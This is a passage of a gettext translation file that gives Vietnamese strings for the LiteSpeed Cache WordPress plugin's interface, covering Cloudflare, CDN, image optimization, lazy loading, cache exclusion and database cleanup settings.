#: tpl/cdn/cf.tpl.php:149
msgid "Temporarily bypass Cloudflare cache. This allows changes to the origin server to be seen in realtime."
msgstr "Tạm thời bỏ qua bộ nhớ cache Cloudflare. Điều này cho phép việc thay đổi máy chủ gốc sẽ được nhìn thấy theo thời gian thực."

#: tpl/cdn/cf.tpl.php:141
msgid "Development mode will be automatically turned off in %s."
msgstr "Chế độ phát triển sẽ được tự động tắt trong %s."

#: tpl/cdn/cf.tpl.php:137
msgid "Current status is %s."
msgstr "Trạng thái hiện tại là %s."

#: tpl/cdn/cf.tpl.php:129
msgid "Current status is %1$s since %2$s."
msgstr "Trạng thái hiện tại là %1$s kể từ %2$s."

#: tpl/cdn/cf.tpl.php:119
msgid "Check Status"
msgstr "Kiểm tra trạng thái"

#: tpl/cdn/cf.tpl.php:116
msgid "Turn OFF"
msgstr "TẮT"

#: tpl/cdn/cf.tpl.php:113
msgid "Turn ON"
msgstr "BẬT"

#: tpl/cdn/cf.tpl.php:111
msgid "Development Mode"
msgstr "Chế độ phát triển"

#: tpl/cdn/cf.tpl.php:108
msgid "Cloudflare Zone"
msgstr "Cloudflare Zone"

#: tpl/cdn/cf.tpl.php:107
msgid "Cloudflare Domain"
msgstr "Tên miền Cloudflare"

#: src/gui.cls.php:579 src/gui.cls.php:761 tpl/cdn/cf.tpl.php:96
#: tpl/cdn/entry.tpl.php:15
msgid "Cloudflare"
msgstr "Cloudflare"

#: tpl/page_optm/settings_html.tpl.php:45
#: tpl/page_optm/settings_html.tpl.php:76
msgid "For example"
msgstr "Ví dụ"

#: tpl/page_optm/settings_html.tpl.php:44
msgid "Prefetching DNS can reduce latency for visitors."
msgstr "Truy xuất DNS trước có thể giảm độ trễ cho người truy cập."

#: src/lang.cls.php:158
msgid "DNS Prefetch"
msgstr "Tìm nạp DNS"

#: tpl/page_optm/settings_media.tpl.php:45
msgid "Adding Style to Your Lazy-Loaded Images"
msgstr "Thêm style cho hình ảnh Lazy-Loaded"

#: src/admin-display.cls.php:1353 src/admin-display.cls.php:1372
#: tpl/cdn/other.tpl.php:108
msgid "Default value"
msgstr "Giá trị mặc định"

#: tpl/cdn/other.tpl.php:100
msgid "Static file type links to be replaced by CDN links."
msgstr "Các liên kết của tập tin tĩnh sẽ được thay thế bằng liên kết CDN."

#. translators: %1$s: Example query string, %2$s: Example wildcard
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:34
msgid "For example, to drop parameters beginning with %1$s, %2$s can be used here."
msgstr "Ví dụ, để loại bỏ các tham số bắt đầu bằng %1$s, có thể sử dụng %2$s ở đây."

#: src/lang.cls.php:110
msgid "Drop Query String"
msgstr "Loại bỏ chuỗi truy vấn"

#: tpl/cache/settings-advanced.tpl.php:57
msgid "Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities."
msgstr "Bật tuỳ chọn này nếu bạn đang sử dụng cả HTTP và HTTPS trong cùng một tên miền và nhận thấy những bất thường của bộ nhớ cache."

#: src/lang.cls.php:222
msgid "Improve HTTP/HTTPS Compatibility"
msgstr "Cải thiện khả năng tương thích HTTP/HTTPS"

#: tpl/img_optm/summary.tpl.php:382
msgid "Remove all previous image optimization requests/results, revert completed optimizations, and delete all optimization files."
msgstr "Loại bỏ tất cả các yêu cầu/kết quả tối ưu hóa hình ảnh trước đó, hoàn tác lại các tối ưu hóa đã hoàn thành và xóa tất cả các tệp tối ưu hóa."

#: tpl/img_optm/settings.media_webp.tpl.php:34 tpl/img_optm/summary.tpl.php:378
msgid "Destroy All Optimization Data"
msgstr "Phá hủy tất cả dữ liệu tối ưu hóa"

#: tpl/img_optm/summary.tpl.php:304
msgid "Scan for any new unoptimized image thumbnail sizes and resend necessary image optimization requests."
msgstr "Quét bất kỳ kích thước thu nhỏ hình ảnh mới nào chưa được tối ưu hóa và gửi lại các yêu cầu tối ưu hóa hình ảnh cần thiết."

#: tpl/img_optm/settings.tpl.php:121
msgid "This will increase the size of optimized files."
msgstr "Điều này sẽ làm tăng kích thước của các tập tin tối ưu hóa."

#: tpl/img_optm/settings.tpl.php:120
msgid "Preserve EXIF data (copyright, GPS, comments, keywords, etc) when optimizing."
msgstr "Bảo vệ dữ liệu EXIF (bản quyền, GPS, nhận xét, từ khóa, v.v ...) khi tối ưu hoá."

#: tpl/toolbox/log_viewer.tpl.php:46 tpl/toolbox/log_viewer.tpl.php:75
msgid "Clear Logs"
msgstr "Xóa các bản ghi"

#: thirdparty/woocommerce.content.tpl.php:25
msgid "To test the cart, visit the <a %s>FAQ</a>."
msgstr "Để kiểm tra giỏ hàng, hãy truy cập vào <a %s>Câu hỏi thường gặp</a>."

#: src/utility.cls.php:231
msgid " %s ago"
msgstr "%s trước"

#: src/media.cls.php:426
msgid "WebP saved %s"
msgstr "WebP tiết kiệm %s"

#: tpl/toolbox/report.tpl.php:68
msgid "If you run into any issues, please refer to the report number in your support message."
msgstr "Nếu bạn gặp bất kỳ vấn đề nào, vui lòng tham khảo số báo cáo trong thông báo hỗ trợ của bạn."

#: tpl/img_optm/summary.tpl.php:156
msgid "Last pull initiated by cron at %s."
msgstr "Lần đẩy khởi tạo bởi cron cách đây %s."

#: tpl/img_optm/summary.tpl.php:93
msgid "Images will be pulled automatically if the cron job is running."
msgstr "Hình ảnh sẽ được tự động đẩy nếu cron đang chạy."

#: tpl/img_optm/summary.tpl.php:93
msgid "Only press the button if the pull cron job is disabled."
msgstr "Chỉ nhấn nút này nếu cron job bị tắt."

#: tpl/img_optm/summary.tpl.php:102
msgid "Pull Images"
msgstr "Gửi hình ảnh"

#: tpl/img_optm/summary.tpl.php:142
msgid "This process is automatic."
msgstr "Quá trình này là tự động."

#: tpl/dash/dashboard.tpl.php:568 tpl/img_optm/summary.tpl.php:322
msgid "Last Request"
msgstr "Yêu cầu cuối"

#: tpl/dash/dashboard.tpl.php:545 tpl/img_optm/summary.tpl.php:319
msgid "Images Pulled"
msgstr "Hình ảnh đã được gửi"

#: tpl/toolbox/entry.tpl.php:29
msgid "Report"
msgstr "Báo cáo"

#: tpl/toolbox/report.tpl.php:139
msgid "Send this report to LiteSpeed. Refer to this report number when posting in the WordPress support forum."
msgstr "Gửi báo cáo này cho LiteSpeed. Tham khảo số báo cáo này khi đăng bài trong diễn đàn hỗ trợ WordPress."

#: tpl/toolbox/report.tpl.php:38
msgid "Send to LiteSpeed"
msgstr "Gửi tới LiteSpeed"

#: src/media.cls.php:304
msgid "LiteSpeed Optimization"
msgstr "Tối ưu hóa LiteSpeed"

#: src/lang.cls.php:165
msgid "Load Google Fonts Asynchronously"
msgstr "Tải không đồng bộ Google Fonts"

#: src/lang.cls.php:97
msgid "Browser Cache TTL"
msgstr "TTL bộ nhớ cache của trình duyệt"

#: src/doc.cls.php:87 src/doc.cls.php:139 tpl/dash/dashboard.tpl.php:186
#: tpl/dash/dashboard.tpl.php:845 tpl/general/online.tpl.php:81
#: tpl/general/online.tpl.php:93 tpl/general/online.tpl.php:109
#: tpl/general/online.tpl.php:114 tpl/img_optm/summary.tpl.php:59
#: tpl/inc/check_cache_disabled.php:46 tpl/page_optm/settings_media.tpl.php:301
msgid "Learn More"
msgstr "Tìm hiểu thêm"

#: tpl/img_optm/summary.tpl.php:285
msgid "Image groups total"
msgstr "Tổng số nhóm hình ảnh"

#: src/lang.cls.php:28
msgid "Images optimized and pulled"
msgstr "Hình ảnh được tối ưu hóa và nén"

#: src/lang.cls.php:26 tpl/dash/dashboard.tpl.php:551
msgid "Images requested"
msgstr "Hình ảnh được yêu cầu"

#: src/img-optm.cls.php:1989 src/img-optm.cls.php:2049
msgid "Switched to optimized file successfully."
msgstr "Đã chuyển thành tệp tối ưu hóa thành công."

#: src/img-optm.cls.php:2043
msgid "Restored original file successfully."
msgstr "Đã khôi phục tệp gốc thành công."

#: src/img-optm.cls.php:2013
msgid "Enabled WebP file successfully."
msgstr "Đã bật tệp WebP thành công."

#: src/img-optm.cls.php:2008
msgid "Disabled WebP file successfully."
msgstr "Đã tắt tệp WebP thành công."

#: tpl/img_optm/settings.media_webp.tpl.php:26
msgid "Significantly improve load time by replacing images with their optimized %s versions."
msgstr "Cải thiện đáng kể thời gian tải bằng cách thay thế hình ảnh bằng phiên bản được tối ưu hóa %s."

#: tpl/cache/settings-excludes.tpl.php:135
msgid "Selected roles will be excluded from cache."
msgstr "Các vai trò đã chọn sẽ bị loại bỏ khỏi bộ nhớ cache."

#: tpl/general/entry.tpl.php:18 tpl/page_optm/entry.tpl.php:23
#: tpl/page_optm/entry.tpl.php:24
msgid "Tuning"
msgstr "Tăng tốc"

#: tpl/page_optm/settings_tuning.tpl.php:156
msgid "Selected roles will be excluded from all optimizations."
msgstr "Các vai trò được chọn sẽ bị loại trừ khỏi tất cả các tối ưu hóa."

#: src/lang.cls.php:177
msgid "Role Excludes"
msgstr "Những vai trò loại trừ"

#: tpl/general/settings_tuning.tpl.php:19
#: tpl/page_optm/settings_tuning.tpl.php:29
msgid "Tuning Settings"
msgstr "Cài đặt điều chỉnh"

#: tpl/cache/settings-excludes.tpl.php:106
msgid "If the tag slug is not found, the tag will be removed from the list on save."
msgstr "Nếu không tìm thấy thẻ slug, thẻ sẽ bị xóa khỏi danh sách lưu."

#: tpl/cache/settings-excludes.tpl.php:73
msgid "If the category name is not found, the category will be removed from the list on save."
msgstr "Nếu không tìm thấy tên danh mục, danh mục đó sẽ bị xóa khỏi danh sách khi lưu."

#: tpl/img_optm/summary.tpl.php:141
msgid "After the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images."
msgstr "Sau khi máy chủ Tối ưu hóa hình ảnh QUIC.cloud hoàn tất tối ưu hóa, nó sẽ thông báo cho trang web của bạn để kéo các hình ảnh đã tối ưu hóa."

#: tpl/dash/dashboard.tpl.php:536 tpl/img_optm/summary.tpl.php:76
#: tpl/img_optm/summary.tpl.php:89
msgid "Send Optimization Request"
msgstr "Gửi yêu cầu tối ưu hóa"

#: tpl/img_optm/summary.tpl.php:276
msgid "Image Information"
msgstr "Thông tin hình ảnh"

#: tpl/dash/dashboard.tpl.php:542 tpl/img_optm/summary.tpl.php:316
msgid "Total Reduction"
msgstr "Tổng số dung lượng đã giảm"

#: tpl/img_optm/summary.tpl.php:313
msgid "Optimization Summary"
msgstr "Tóm tắt tối ưu hóa"

#: tpl/img_optm/entry.tpl.php:30
msgid "LiteSpeed Cache Image Optimization"
msgstr "LiteSpeed Cache tối ưu hóa hình ảnh"

#: src/admin-display.cls.php:256 src/gui.cls.php:727
#: tpl/dash/dashboard.tpl.php:203 tpl/dash/network_dash.tpl.php:36
#: tpl/general/online.tpl.php:75 tpl/general/online.tpl.php:134
#: tpl/general/online.tpl.php:149 tpl/presets/standard.tpl.php:32
msgid "Image Optimization"
msgstr "Tối ưu hoá hình ảnh"

#: tpl/page_optm/settings_media.tpl.php:62
msgid "For example, %s can be used for a transparent placeholder."
msgstr "Ví dụ: %s có thể được sử dụng cho trình giữ chỗ trong suốt."

#: tpl/page_optm/settings_media.tpl.php:61
msgid "By default a gray image placeholder %s will be used."
msgstr "Theo mặc định, trình giữ chỗ ảnh màu xám %s sẽ được sử dụng."

#: tpl/page_optm/settings_media.tpl.php:60
msgid "This can be predefined in %2$s as well using constant %1$s, with this setting taking priority."
msgstr "Điều này cũng có thể được xác định trước trong %2$s bằng cách sử dụng hằng số %1$s, với cài đặt này được ưu tiên."

#: tpl/page_optm/settings_media.tpl.php:59
msgid "Specify a base64 image to be used as a simple placeholder while images finish loading."
msgstr "Chỉ định hình ảnh base64 sẽ được sử dụng làm trình giữ chỗ đơn giản trong khi hình ảnh hoàn tất tải."

#: tpl/page_optm/settings_media_exc.tpl.php:38
#: tpl/page_optm/settings_tuning.tpl.php:70
#: tpl/page_optm/settings_tuning.tpl.php:91
#: tpl/page_optm/settings_tuning.tpl.php:112
#: tpl/page_optm/settings_tuning_css.tpl.php:37
msgid "Elements with attribute %s in html code will be excluded."
msgstr "Các phần tử có thuộc tính %s trong mã html sẽ bị loại trừ."

#: tpl/cache/settings-esi.tpl.php:104
#: tpl/page_optm/settings_media_exc.tpl.php:37
#: tpl/page_optm/settings_tuning.tpl.php:49
#: tpl/page_optm/settings_tuning.tpl.php:69
#: tpl/page_optm/settings_tuning.tpl.php:90
#: tpl/page_optm/settings_tuning.tpl.php:111
#: tpl/page_optm/settings_tuning.tpl.php:130
#: tpl/page_optm/settings_tuning_css.tpl.php:36
#: tpl/page_optm/settings_tuning_css.tpl.php:97
msgid "Filter %s is supported."
msgstr "Bộ lọc %s được hỗ trợ."

#: tpl/page_optm/settings_media_exc.tpl.php:31
msgid "Listed images will not be lazy loaded."
msgstr "Danh sách các hình ảnh không sử dụng lazyload."

#: src/lang.cls.php:184
msgid "Lazy Load Image Excludes"
msgstr "Không bao gồm hình ảnh Lazy Load"

#: src/gui.cls.php:539
msgid "No optimization"
msgstr "Không tối ưu hóa"

#: tpl/page_optm/settings_tuning.tpl.php:126
msgid "Prevent any optimization of listed pages."
msgstr "Ngăn chặn tối ưu hóa các trang được liệt kê."

#: src/lang.cls.php:175
msgid "URI Excludes"
msgstr "Loại trừ URI"

#: tpl/page_optm/settings_html.tpl.php:174
msgid "Stop loading WordPress.org emoji. Browser default emoji will be displayed instead."
msgstr "Dừng tải biểu tượng cảm xúc WordPress.org. Biểu tượng cảm xúc mặc định của trình duyệt sẽ được hiển thị thay thế."

#: src/doc.cls.php:125
msgid "Both full URLs and partial strings can be used."
msgstr "Có thể sử dụng cả URL đầy đủ và chuỗi một phần."

#: tpl/page_optm/settings_media.tpl.php:234
msgid "Load iframes only when they enter the viewport."
msgstr "Chỉ tải iframes khi chúng vào vùng nhìn thấy."

#: src/lang.cls.php:200
msgid "Lazy Load Iframes"
msgstr "Lazy Load Iframes"

#: tpl/page_optm/settings_media.tpl.php:41
#: tpl/page_optm/settings_media.tpl.php:235
msgid "This can improve page loading time by reducing initial HTTP requests."
msgstr "Điều này có thể cải thiện thời gian tải trang bằng cách giảm các yêu cầu HTTP ban đầu."

#: tpl/page_optm/settings_media.tpl.php:40
msgid "Load images only when they enter the viewport."
msgstr "Tải ảnh chỉ khi chúng vào vùng xem."

#: src/lang.cls.php:183
msgid "Lazy Load Images"
msgstr "Lazy Load hình ảnh"

#: tpl/page_optm/entry.tpl.php:19 tpl/page_optm/settings_media.tpl.php:26
msgid "Media Settings"
msgstr "Cài đặt Media"

#: tpl/cache/settings-excludes.tpl.php:46
msgid "For example, for %1$s, %2$s and %3$s can be used here."
msgstr "Ví dụ, đối với %1$s, có thể sử dụng %2$s và %3$s ở đây."

#: tpl/cache/settings-esi.tpl.php:113 tpl/cache/settings-purge.tpl.php:111
#: tpl/cdn/other.tpl.php:169
msgid "Wildcard %1$s supported (match zero or more characters). For example, to match %2$s and %3$s, use %4$s."
msgstr "Đã hỗ trợ Wildcard %1$s (khớp với số không hoặc nhiều ký tự). Ví dụ: để so khớp %2$s và %3$s, hãy sử dụng %4$s."

#. translators: %s: caret symbol
#: src/admin-display.cls.php:1538
msgid "To match the beginning, add %s to the beginning of the item."
msgstr "Để khớp với phần đầu, hãy thêm %s vào đầu mục."

#. translators: 1: example URL, 2: pattern example
#: src/admin-display.cls.php:1535
msgid "For example, for %1$s, %2$s can be used here."
msgstr "Ví dụ, đối với %1$s, có thể sử dụng %2$s ở đây."

#: tpl/banner/score.php:117
msgid "Maybe later"
msgstr "Để sau"

#: tpl/banner/score.php:116
msgid "I've already left a review"
msgstr "Tôi đã để lại một bài đánh giá"

#: tpl/banner/slack.php:20
msgid "Welcome to LiteSpeed"
msgstr "Chào mừng bạn đến với LiteSpeed"

#: src/lang.cls.php:173 tpl/presets/standard.tpl.php:51
msgid "Remove WordPress Emoji"
msgstr "Gỡ bỏ WordPress Emoji"

#: src/gui.cls.php:547
msgid "More settings"
msgstr "Cài đặt khác"

#: src/gui.cls.php:528
msgid "Private cache"
msgstr "Bộ nhớ đệm riêng"

#: src/gui.cls.php:517
msgid "Non cacheable"
msgstr "Không thể lưu vào bộ nhớ đệm"

#: src/gui.cls.php:494
msgid "Mark this page as "
msgstr "Đánh dấu trang này dưới dạng"

#: src/gui.cls.php:470 src/gui.cls.php:485
msgid "Purge this page"
msgstr "Xóa bộ nhớ đệm trang này"

#: src/lang.cls.php:155
msgid "Load JS Deferred"
msgstr "Tải JS trì hoãn"

#: tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Specify critical CSS rules for above-the-fold content when enabling %s."
msgstr "Chỉ định quy tắc CSS quan trọng cho nội dung trong màn hình đầu tiên khi bật %s."

#: src/lang.cls.php:167
msgid "Critical CSS Rules"
msgstr "Quy tắc CSS quan trọng"

#: src/lang.cls.php:151 tpl/page_optm/settings_tuning_css.tpl.php:167
msgid "Load CSS Asynchronously"
msgstr "Tải không đồng bộ CSS"

#: tpl/page_optm/settings_html.tpl.php:161
msgid "Prevent Google Fonts from loading on all pages."
msgstr "Ngăn Google Fonts tải trên tất cả các trang."

#: src/lang.cls.php:166
msgid "Remove Google Fonts"
msgstr "Xóa bỏ Google Fonts"

#: tpl/page_optm/settings_css.tpl.php:216
#: tpl/page_optm/settings_html.tpl.php:175 tpl/page_optm/settings_js.tpl.php:81
msgid "This can improve your speed score in services like Pingdom, GTmetrix and PageSpeed."
msgstr "Điều này có thể cải thiện điểm số tốc độ của bạn trong các dịch vụ như Pingdom, GTmetrix và PageSpeed."

#: tpl/page_optm/settings_html.tpl.php:123
msgid "Remove query strings from internal static resources."
msgstr "Xóa chuỗi truy vấn khỏi tài nguyên tĩnh nội bộ."

#: src/lang.cls.php:164
msgid "Remove Query Strings"
msgstr "Xóa các chuỗi truy vấn"

#: tpl/cache/settings_inc.exclude_useragent.tpl.php:28
msgid "user agents"
msgstr "tác nhân người dùng"

#: tpl/cache/settings_inc.exclude_cookies.tpl.php:28
msgid "cookies"
msgstr "cookies"

#: tpl/cache/settings_inc.browser.tpl.php:41
msgid "Browser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files."
msgstr "Bộ nhớ cache của trình duyệt sẽ lưu trữ các tệp tĩnh của trang web trong trình duyệt của người dùng. Bật cài đặt này để giảm yêu cầu lặp lại cho các tệp tĩnh."

#: src/lang.cls.php:90 tpl/dash/dashboard.tpl.php:61
#: tpl/dash/dashboard.tpl.php:604 tpl/presets/standard.tpl.php:21
msgid "Browser Cache"
msgstr "Cache trình duyệt"

#: tpl/cache/settings-excludes.tpl.php:100
msgid "tags"
msgstr "thẻ"

#: src/lang.cls.php:135
msgid "Do Not Cache Tags"
msgstr "Không lưu bộ nhớ đệm thẻ"

#: tpl/cache/settings-excludes.tpl.php:110
msgid "To exclude %1$s, insert %2$s."
msgstr "Để loại trừ %1$s, hãy chèn %2$s."

#: tpl/cache/settings-excludes.tpl.php:67
msgid "categories"
msgstr "danh mục"

#. translators: %s: "cookies"
#. translators: %s: "user agents"
#: tpl/cache/settings-excludes.tpl.php:67
#: tpl/cache/settings-excludes.tpl.php:100
#: tpl/cache/settings_inc.exclude_cookies.tpl.php:27
#: tpl/cache/settings_inc.exclude_useragent.tpl.php:27
msgid "To prevent %s from being cached, enter them here."
msgstr "Để ngăn %s khỏi bộ nhớ đệm, hãy nhập chúng vào đây."

#: src/lang.cls.php:134
msgid "Do Not Cache Categories"
msgstr "Không lưu bộ nhớ đệm danh mục"

#: tpl/cache/settings-excludes.tpl.php:45
msgid "Query strings containing these parameters will not be cached."
msgstr "Chuỗi truy vấn có chứa các tham số này sẽ không được lưu bộ nhớ đệm."

#: src/lang.cls.php:133
msgid "Do Not Cache Query Strings"
msgstr "Không lưu bộ nhớ đệm các chuỗi truy vấn"

#: tpl/cache/settings-excludes.tpl.php:30
msgid "Paths containing these strings will not be cached."
msgstr "Đường dẫn chứa các chuỗi này sẽ không được lưu trong bộ nhớ đệm."

#: src/lang.cls.php:132
msgid "Do Not Cache URIs"
msgstr "Không cache URIs"

#: src/admin-display.cls.php:1541 src/doc.cls.php:108
msgid "One per line."
msgstr "Một trên mỗi dòng."

#: tpl/cache/settings-cache.tpl.php:119
msgid "URI Paths containing these strings will NOT be cached as public."
msgstr "Đường dẫn URI chứa các chuỗi này sẽ KHÔNG được lưu vào bộ nhớ cache dưới dạng công khai."

#: src/lang.cls.php:109
msgid "Private Cached URIs"
msgstr "URI được lưu trong bộ nhớ cache riêng tư"

#: tpl/cdn/other.tpl.php:210
msgid "Paths containing these strings will not be served from the CDN."
msgstr "Đường dẫn chứa các chuỗi này sẽ không được phân phối từ CDN."

#: src/lang.cls.php:245
msgid "Exclude Path"
msgstr "Loại trừ đường dẫn"

#: src/lang.cls.php:241 tpl/cdn/other.tpl.php:113
msgid "Include File Types"
msgstr "Bao gồm các loại tệp"

#: tpl/cdn/other.tpl.php:97
msgid "Serve all JavaScript files through the CDN. This will affect all enqueued WP JavaScript files."
msgstr "Phục vụ tất cả các tệp JavaScript thông qua CDN. Điều này sẽ ảnh hưởng đến tất cả các tập tin WP JavaScript enqueued."

#: src/lang.cls.php:240
msgid "Include JS"
msgstr "Bao gồm JS"

#: tpl/cdn/other.tpl.php:94
msgid "Serve all CSS files through the CDN. This will affect all enqueued WP CSS files."
msgstr "Phục vụ tất cả các tệp CSS thông qua CDN. Điều này sẽ ảnh hưởng đến tất cả các tập tin WP CSS enqueued."

#: src/lang.cls.php:239
msgid "Include CSS"
msgstr "Bao gồm CSS"

#: tpl/cdn/other.tpl.php:87
msgid "Serve all image files through the CDN. This will affect all attachments, HTML %1$s tags, and CSS %2$s attributes."
msgstr "Phân phối tất cả các tệp hình ảnh qua CDN. Điều này sẽ ảnh hưởng đến tất cả các tệp đính kèm, thẻ HTML %1$s và thuộc tính CSS %2$s."

#: src/lang.cls.php:238
msgid "Include Images"
msgstr "Bao gồm hình ảnh"

#: src/admin-display.cls.php:472
msgid "CDN URL to be used. For example, %s"
msgstr "URL CDN sẽ được sử dụng. Ví dụ như, %s"

#: src/lang.cls.php:237
msgid "CDN URL"
msgstr "CDN URL"

#: tpl/cdn/other.tpl.php:161
msgid "Site URL to be served through the CDN. Beginning with %1$s. For example, %2$s."
msgstr "URL trang web được phân phát qua CDN. Bắt đầu với %1$s. Ví dụ: %2$s."

#: src/lang.cls.php:243
msgid "Original URLs"
msgstr "URL gốc"

#: tpl/cdn/other.tpl.php:28
msgid "CDN Settings"
msgstr "Cài đặt CDN"

#: src/admin-display.cls.php:255
msgid "CDN"
msgstr "CDN"

#: src/admin-display.cls.php:477 src/admin-display.cls.php:1158
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.object.tpl.php:280 tpl/cdn/other.tpl.php:53
#: tpl/dash/dashboard.tpl.php:69 tpl/dash/dashboard.tpl.php:461
#: tpl/dash/dashboard.tpl.php:583 tpl/dash/dashboard.tpl.php:612
#: tpl/img_optm/settings.media_webp.tpl.php:22
#: tpl/page_optm/settings_css.tpl.php:93 tpl/page_optm/settings_js.tpl.php:77
#: tpl/page_optm/settings_media.tpl.php:180
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "OFF"
msgstr "TẮT"

#: src/admin-display.cls.php:476 src/admin-display.cls.php:1157
#: src/admin-display.cls.php:1187 src/admin-display.cls.php:1269
#: src/doc.cls.php:39 tpl/cache/settings-cache.tpl.php:28
#: tpl/cache/settings_inc.cache_mobile.tpl.php:91 tpl/cdn/other.tpl.php:45
#: tpl/crawler/settings.tpl.php:138 tpl/dash/dashboard.tpl.php:67
#: tpl/dash/dashboard.tpl.php:459 tpl/dash/dashboard.tpl.php:581
#: tpl/dash/dashboard.tpl.php:610 tpl/page_optm/settings_css.tpl.php:220
#: tpl/page_optm/settings_media.tpl.php:176
#: tpl/toolbox/settings-debug.tpl.php:80
msgid "ON"
msgstr "BẬT"

#: src/purge.cls.php:379
msgid "Notified LiteSpeed Web Server to purge CSS/JS entries."
msgstr "Máy chủ Web LiteSpeed đã được thông báo để lọc các mục CSS/JS."

#: tpl/page_optm/settings_html.tpl.php:31
msgid "Minify HTML content."
msgstr "Nén nội dung HTML."

#: src/lang.cls.php:148
msgid "HTML Minify"
msgstr "Nén HTML"

#: src/lang.cls.php:163
msgid "JS Excludes"
msgstr "JS không bao gồm"

#: src/lang.cls.php:146
msgid "JS Combine"
msgstr "Kết hợp JS"

#: src/lang.cls.php:145
msgid "JS Minify"
msgstr "Nén JS"

#: src/lang.cls.php:161
msgid "CSS Excludes"
msgstr "Loại trừ CSS"

#: src/lang.cls.php:138
msgid "CSS Combine"
msgstr "Kết hợp CSS"

#: src/lang.cls.php:137
msgid "CSS Minify"
msgstr "Nén CSS"

#: tpl/page_optm/entry.tpl.php:43
msgid "Please test thoroughly when enabling any option in this list. After changing Minify/Combine settings, please do a Purge All action."
msgstr "Vui lòng kiểm tra kỹ lưỡng khi bật bất kỳ tùy chọn nào trong danh sách này. Sau khi thay đổi cài đặt Nén/Kết hợp, vui lòng thực hiện một hành động Xóa sạch tất cả."

#: tpl/toolbox/purge.tpl.php:48
msgid "This will purge all minified/combined CSS/JS entries only"
msgstr "Thao tác này sẽ chỉ xóa tất cả các mục CSS/JS được né/kết hợp"

#: tpl/toolbox/purge.tpl.php:32
msgid "Purge %s Error"
msgstr "Xóa %s lỗi"

#: tpl/db_optm/manage.tpl.php:90
msgid "Database Optimizer"
msgstr "Trình tối ưu hoá cơ sở dữ liệu"

#: tpl/db_optm/manage.tpl.php:58
msgid "Optimize all tables in your database"
msgstr "Tối ưu hóa tất cả các bảng trong cơ sở dữ liệu của bạn"

#: tpl/db_optm/manage.tpl.php:57
msgid "Optimize Tables"
msgstr "Tối ưu hóa các bảng"

#: tpl/db_optm/manage.tpl.php:54
msgid "Clean all transient options"
msgstr "Xóa tất cả các tùy chọn tạm thời"

#: tpl/db_optm/manage.tpl.php:53
msgid "All Transients"
msgstr "Tất cả các dữ liệu tạm thời"

#: tpl/db_optm/manage.tpl.php:50
msgid "Clean expired transient options"
msgstr "Xóa các tùy chọn Transients đã hết hạn"

#: tpl/db_optm/manage.tpl.php:49
msgid "Expired Transients"
msgstr "Dữ liệu tạm thời đã hết hạn"

#: tpl/db_optm/manage.tpl.php:46
msgid "Clean all trackbacks and pingbacks"
msgstr "Xóa tất cả các trackbacks và pingbacks"

#: tpl/db_optm/manage.tpl.php:45
msgid "Trackbacks/Pingbacks"
msgstr "Trackbacks/Pingbacks"

#: tpl/db_optm/manage.tpl.php:42
msgid "Clean all trashed comments"
msgstr "Xóa tất cả bình luận đã chuyển vào thùng rác"

#: tpl/db_optm/manage.tpl.php:41
msgid "Trashed Comments"
msgstr "Bình luận đã xóa"

#: tpl/db_optm/manage.tpl.php:38
msgid "Clean all spam comments"
msgstr "Xóa tất cả bình luận rác"

#: tpl/db_optm/manage.tpl.php:37
msgid "Spam Comments"
msgstr "Bình luận rác"

#: tpl/db_optm/manage.tpl.php:34
msgid "Clean all trashed posts and pages"
msgstr "Xóa tất cả các bài viết và trang đã chuyển vào thùng rác"

#: tpl/db_optm/manage.tpl.php:33
msgid "Trashed Posts"
msgstr "Bài đăng trong thùng rác"

#: tpl/db_optm/manage.tpl.php:30
msgid "Clean all auto saved drafts"
msgstr "Xóa tất cả bản nháp đã lưu tự động"

#: tpl/db_optm/manage.tpl.php:29
msgid "Auto Drafts"
msgstr "Bản nháp tự động"

#: tpl/db_optm/manage.tpl.php:22
msgid "Clean all post revisions"
msgstr "Xóa tất cả các bản sửa đổi bài viết"

#: tpl/db_optm/manage.tpl.php:21
msgid "Post Revisions"
msgstr "Bản xem lại của bài viết"

#: tpl/db_optm/manage.tpl.php:17
msgid "Clean All"
msgstr "Xóa tất cả"

#: src/db-optm.cls.php:241
msgid "Optimized all tables."
msgstr "Tối ưu hóa tất cả các bảng."

#: src/db-optm.cls.php:231
msgid "Clean all transients successfully."
msgstr "Xóa tất cả các dữ liệu tạm thời thành công."

#: src/db-optm.cls.php:227
msgid "Clean expired transients successfully."
msgstr "Xóa quá trình chuyển đổi hết hạn thành công."

#: src/db-optm.cls.php:223
msgid "Clean trackbacks and pingbacks successfully."
msgstr "Xóa trackbacks và pingbacks thành công."

#: src/db-optm.cls.php:219
msgid "Clean trashed comments successfully."
msgstr "Xóa bình luận trong thùng rác thành công."

#: src/db-optm.cls.php:215
msgid "Clean spam comments successfully."
msgstr "Xóa bình luận rác thành công."

#: src/db-optm.cls.php:211
msgid "Clean trashed posts and pages successfully."
msgstr "Xóa các bài viết và trang đã chuyển vào thùng rác thành công."

#: src/db-optm.cls.php:207
msgid "Clean auto drafts successfully."
msgstr "Tự động xóa bản nháp thành công."

#: src/db-optm.cls.php:199
msgid "Clean post revisions successfully."
msgstr "Xóa bản xem lại của bài viết thành công."

#: src/db-optm.cls.php:142
msgid "Clean all successfully."
msgstr "Xóa sạch tất cả thành công."

#: src/lang.cls.php:92
msgid "Default Private Cache TTL"
msgstr "Bộ nhớ cache riêng tư mặc định TTL"

#: tpl/cache/settings-esi.tpl.php:141
msgid "If your site contains public content that certain user roles can see but other roles cannot, you can specify a Vary Group for those user roles. For example, specifying an administrator vary group allows there to be a separate publicly-cached page tailored to administrators (with “edit” links, etc), while all other user roles see the default public page."
msgstr "Nếu trang web của bạn chứa nội dung công khai mà một số người dùng nhất định có thể thấy nhưng những người khác thì không thể, bạn có thể chỉ định Nhóm thay đổi cho những người dùng đó. Ví dụ, chỉ định một nhóm quản trị viên khác nhau cho phép họ có một trang được lưu trữ công khai riêng biệt phù hợp với các quản trị viên (với các liên kết như \"chỉnh sửa\",...), trong khi tất cả các người dùng khác vẫn nhìn thấy trang công khai mặc định."

#: src/lang.cls.php:220 tpl/page_optm/settings_css.tpl.php:140
